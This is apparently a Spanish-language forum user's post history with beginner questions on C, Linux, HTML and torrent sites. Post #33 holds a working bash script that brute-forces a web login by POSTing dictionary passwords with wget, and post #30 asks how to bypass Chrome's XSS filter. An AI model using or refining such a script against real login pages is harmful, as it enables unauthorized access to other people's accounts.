Hice tantos ejercicios que llegué a este y me trabé, ya estoy algo cansado.
Apreciaría mucho que mas o menos me den una idea o como debería pensarlo.

Saludos.
#29
Programación C/C++ / [C] (void*) ¿Para qué sirve?
18 Noviembre 2015, 15:55 PM
Hola a todos!, ¿para que sirve usar (void*) ahí?

#include <stdio.h>

void imprimir_dir(int x) {

printf("La direccion de memoria de a es: %p.\n", (void*) &x);
}

int main(void) {
int n;

printf("Introduzca un valor entero: ");
scanf("%d", &n);

printf("La direccion de memoria de a es: %p.\n", (void*) &n);

imprimir_dir(n);
return 0;
}


¿Qué pasa si yo hago esto?

/*
Definir una simple función imprimir_dir(int x) cuyo único propósito sea imprimir la dirección del entero
x que se le pasa. Crear una variable entera en main, imprimir su dirección ahí mismo y
luego pasar la variable a imprimir_dir. Comparar los resultados. ¿Es el comportamiento esperado?
*/

#include <stdio.h>

void imprimir_dir(int x){

printf ("%p\n",&x);

}

int main (void){
int a;
a=20;
printf ("%p\n",&a);

imprimir_dir(a);

return 0;
}



Lo que se me pide es: Definir una simple función imprimir_dir(int x) cuyo único propósito sea imprimir la dirección del entero x que se le pasa. Crear una variable entera en main, imprimir su dirección ahí mismo y luego pasar la variable a imprimir_dir. Comparar los resultados. ¿Es el comportamiento esperado?

Saludos!
#30
Hacking / [How] Bypassing chrome XSS protection
18 Octubre 2015, 16:16 PM
Hola a todos,

cómo dice el título como puedo saltearme filtros anti-xss de Chrome?, busqué información en internet pero no la entendí del todo, ¿alguien me lo podría dejar más claro y si puede ser darme un ejemplo?

Saludos!
#31
¡Buenas!

el foro está lleno de artículos que ya están muy viejos y siguen fijados.

Yo opino que se podría ir borrando o dejar de fijarlos a esos temas.

¡Saludos!
#32
¿Cómo hago esto , por qué siempre se me sobrescribe una variable mas del arreglo?

Primero de todo, ¿tiene 48 elementos no?

/*
Escribir un programa que complete un arreglo con los números pares que se encuentren entre 100 y 200 y los muestre en pantalla en orden descendente.
*/

#include <stdio.h>

int main (void){
int a[48];
int i,j;

i=j=0;

for (i=51; i<100; i++){
a[j]=i*2;
j++;

}

//Muestro

for (j=j-1; j>=0; j--)printf("%d\n",a[j]);


return 0;
}

#33
Vale aclarar que esto solo lo hago para aprender más y, divertirme un poco.
No para hacer nada malo.

Código (bash) [Seleccionar]
echo "Bruteforce attack!";
USUARIO=$1
DICCIONARIO=$2
LINEAS=`cat $DICCIONARIO | wc -l`
echo -e "User: $USUARIO\nReading: $DICCIONARIO"
i=0;


while read pass; do
                       i=$(($i+1));
# echo -n "[*] $pass: ";
if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://127.0.0.1/php/login.php`" =~ "no coinciden" ]];
then
echo -ne "[*] $i de $(($LINEAS-1)) \r";
else
echo "Found  $pass"; exit;
 
fi
done < $DICCIONARIO



Salida:

Código (bash) [Seleccionar]
sh brute.sh juan numeros.txt
Bruteforce attack!
User: profe
Reading: numeros.txt
[*] 7 de 293






El problema que tengo con esto es que a veces me tira "Falsos positivos" y es por el wget es como que le "apuro" no recibe el paquete o algo,

¿Cómo podría solucionar esto?

Versión mejorada:

Código (bash) [Seleccionar]
echo "Bruteforce attack!";
USUARIO=$1
DICCIONARIO=$2
LINEAS=`cat $DICCIONARIO | wc -l`
echo -e "User: $USUARIO\nReading: $DICCIONARIO"
i=0;


while read pass; do
   i=$(($i+1));
   #echo -n "[*] $pass: ";
   if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://***.***/php/login.php`" =~ "no coinciden" ]];
   then
echo -ne "[*] $i de $(($LINEAS)) \r";
   else
echo "(False positive?) Found $pass";

   fi
done < $DICCIONARIO



Gracias, Saludos!
#34
Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.

¿Cómo hago esto?


Ni siquiera se me ocurre como empezar,
¿un arreglo de m*n enteros? ¿a qué se refiere con eso?

int a[m][n]; ?

Y cómo es eso que tome unafila y una columna, realmente estoy perdido.

Saludos!
#35
Programación C/C++ / [C] ¿Debería usar un puntero?
22 Septiembre 2015, 00:52 AM
Escribir un programa que lea un entero n y luego solicite al usuario el ingreso de n enteros, luego devolver la posición del primer entero duplicado.


¿Debería usar un puntero de ser así, como lo declararía usando malloc?
#36
Desarrollo Web / [HTML] No carga la página
17 Septiembre 2015, 07:47 AM
Buenas!

Tengo un código de una página medio vieja de un compañero, quiero cargarla en localhost.

Lo que hice fue sacar el código de fuente en vez de bajarme la página entera. Luego sustituí los archivos ".css, .mp3, ..." por el link donde está la web, de todos modos no carga bien la página todavía. ¿A qué se debe esto?

Código: http://pastebin.com/fq26hUn1
#37
GNU/Linux / [GNU/Linux] ¿Problema de alimentación?
17 Septiembre 2015, 06:23 AM
Buenas!,

Tengo un gran problema con todas las distribuciones de GNU/Linux, es decir más bien con el kernel.

La cuestión es que Linux parece no soportar mi tarjeta de red ya que si utilizo GNU/Linux sin conectar el cable Ethernet funciona a la perfección todo.

Pero si lo conecto después de unos 10 minutos se reinicia automaticamente.

¿Por qué puede ser?, he probado con todas las distribuciones posibles y con todas pasa lo mismo, hasta probé con la versión 4 del kernel, todavía no probé con las versiones 2.6.x de Linux

Ahora estoy desde Fedora pero en una máquina virtual y si hago un lspci | grep -i ethernet me tira esto
01.0 Ethernet controller: Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) (rev 01)

Supongo que serán los mismos.
(La máquina virtual no se reinicia)

Saludos!
#38
Programación C/C++ / [C] Contador de dígitos
17 Septiembre 2015, 05:31 AM
Buenas!

#include <stdio.h>


int main() {
 int c, i;

 int ndigit[10];

 for (i = 0; i < 10; i = i + 1) {
   ndigit[i] = 0;
 }

 while ((c = getchar()) != EOF) {

   if ( c >= '0' && c <= '9') {
     ++ndigit[c - '0'];
   }

 }

 //Muestra OMIT
 for (i = 0; i < 10; i = i + 1) {
   printf("%d -> %d\n", i, ndigit[i]);
 }
}


No entiendo esta línea ++ndigit[c - '0']; si le sacás el '0' no funciona.

¿Por qué, para qué sirve eso?

Saludos
#39
PHP / [WWW-Torrents] ¿Cómo funcionan?
16 Septiembre 2015, 08:51 AM
Buenas! ,

¿Cómo funciona una página web de torrents?

Con esto quiero decir, por ejemplo cómo saben que los torrents están activos y cuales no,  ¿Cómo lo verifican, como se dan cuenta que ya no sirve?

Se utiliza alguna api o algo por el estilo ?
Digo para sacar las características como SIZE, FILES, AGE, SEED, LEECH

Saludos!
#40
Programación C/C++ / Mills' constant
10 Septiembre 2015, 21:46 PM
Buenas!

Defición - Wikipedia:
In number theory, Mills' constant is defined as the smallest positive real number A such that the floor of the double exponential function is a prime number, for all positive integers n.

¿Cómo hago para que no desborde el tipo, cómo debo definirla?

#include <stdio.h>
#include <math.h>

int main (void){
   int n;
   int exponent;
   double mills=1.30637788386308069046861449260260571291678458515671364436805375996643405376682659;

   for (n=1; n<10; n++){
           exponent=pow(3,n);
           printf ("%f\n", pow(mills,exponent)  );
   }

return 0;}



A lo último me tira:
1.#INF00
1.#INF00


Usé la funcion floor pero el tema es que redondea mal y me tira números que no son primos.

Saludos!